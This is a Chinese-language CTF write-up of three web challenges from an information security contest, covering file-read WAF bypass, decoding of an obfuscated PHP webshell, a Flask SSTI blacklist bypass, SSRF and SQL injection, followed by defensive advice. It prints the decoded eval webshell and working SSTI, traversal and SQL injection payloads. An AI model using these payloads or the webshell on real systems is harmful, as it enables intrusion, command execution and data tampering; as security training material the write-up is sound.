第十八届信息安全大赛 && 第二届长城杯 - WEB WP
字数 1041 2025-08-22 12:22:15
信息安全大赛WEB题目解析与教学文档
1. hello_web题目解析
1.1 初始信息收集
- 查看网页源码发现存在
tips.php和hackme.php - 尝试文件读取漏洞:
http://ip/index.php?file=xxx - 发现存在WAF,使用双写绕过:
http://ip/index.php?file=..././hackme.php
1.2 混淆PHP脚本分析
获取到的混淆PHP脚本如下:
<?php
highlight_file(__FILE__);
$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst = $lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK = $lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC = $OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU = $lapUCm{7}.$lapUCm{13};
$YwzIst .= $lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
1.3 解密过程
- 手动输出分析执行内容:
echo($YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)))); - 得到Base64编码结果:
PD9waHAgQGV2YWwoJF9QT1NUWydjbWRfNjYuOTknXSk7ID8+Cg== - 解码后得到Webshell:
<?php @eval($_POST['cmd_66.99']); ?>
### 1.4 利用方法
1. 使用蚁剑连接,但存在`disable_function`限制
2. 尝试插件绕过或使用`find`命令查找flag
## 2. Safe_Proxy题目解析
### 2.1 源码分析
关键代码部分:
```python
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
2.2 WAF绕过方法
- 使用字符串拼接绕过黑名单检测
- 利用静态目录绕过不出网限制
2.3 利用Payload
code={%print(config|attr('_''_class_''_')|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('o''s')|attr('po''pen')('mkdir static;cat /f* > static/a')|attr('read')())%}
2.4 获取flag
访问static/a获取执行结果
3. sxweb2题目解析
3.1 信息收集
- 去掉
index可发现大量路由 - 发现
flag.py路由,访问返回403 - 发现
wget.py路由,可能存在SSRF漏洞
3.2 SSRF利用
- 使用
0.0.0.0绕过127.0.0.1限制:cgi-bin/wget.py?url=http://0.0.0.0/cgi-bin/local/flag.py - 获取提示:需要让所有人被签约
3.3 SQL注入利用
- 在更新路由中发现SQL注入点(
city参数) - 注入Payload:
au_id=893-72-1158&au_lname=McBadden&au_fname=Heather&phone=707+448-4982&address=301+Putnam&city=aa',contract=1 where au_id='893-72-1158'--+&state=CA&zip=95688 - 修改所有
au_id的contract值为1 - 再次访问
flag.py获取flag
4. 关键知识点总结
4.1 文件读取绕过技巧
- 双写绕过:
..././代替../ - 路径混淆:使用非常规路径表示法绕过WAF
4.2 PHP混淆与解密
- 字符串拼接解密
- Base64多层编码识别与解码
- 动态函数调用分析
4.3 Flask SSTI绕过
- 字符串拼接绕过关键字过滤
- 属性链式调用绕过限制
- 静态文件写入绕过不出网限制
4.4 SSRF技巧
0.0.0.0代替127.0.0.1绕过限制- 本地服务探测与利用
4.5 SQL注入技巧
- 更新操作中的注入点识别
- 注释符(--+)的使用
- 批量更新所有记录的技巧
5. 防御建议
-
文件读取:
- 严格限制文件路径
- 使用白名单而非黑名单
-
代码混淆:
- 避免使用可逆的简单混淆
- 使用更复杂的加密方式
-
SSTI防御:
- 完全禁用模板渲染或使用安全模板引擎
- 更严格的关键字过滤
-
SSRF防御:
- 严格校验URL参数
- 禁用内网地址访问
-
SQL注入防御:
- 使用参数化查询
- 最小权限原则